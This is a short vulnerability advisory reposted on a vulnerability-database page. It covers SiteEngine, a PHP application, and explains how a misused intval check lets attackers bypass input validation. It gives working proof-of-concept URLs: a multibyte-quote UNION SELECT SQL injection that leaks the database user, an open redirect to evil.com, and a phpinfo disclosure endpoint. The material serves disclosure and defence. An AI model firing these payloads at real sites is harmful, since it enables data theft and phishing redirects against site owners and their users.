Lucene search
K

siteengine-sqlredirphpinfo.txt

🗓️ 23 Oct 2008 00:00:00Reported by xy7Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Due to incorrect use of intval function, there is a SQL injection vulnerability and URI redirection & information disclosure vulnerabilities in siteengine-sqlredirphpinfo.txt fil

Code
`Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability.  
  
-=0x01=- SQL injection Vulnerability  
vul code like this:  
if ( intval( $id ) )  
{  
require_once( $site_engine_root."lib/rss.php" );  
$sql = "SELECT url FROM ".$tablepre."feed WHERE id={$id} AND uploader='{$SESSION['uid']}'";  
  
POC:  
http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,1  
1%20/*  
This vulnerability exist in board.php   
  
-=0x02=- URI Redirection Vulnerability   
POC:  
http://www.test.com/api.php?action=logout&forward=http://evil.com  
  
-=0x02=- Information Disclosure Vulnerability   
POC:  
http://www.test.com/misc.php?action=php_info  
  
ForFun~  
  
-=EOF=-  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation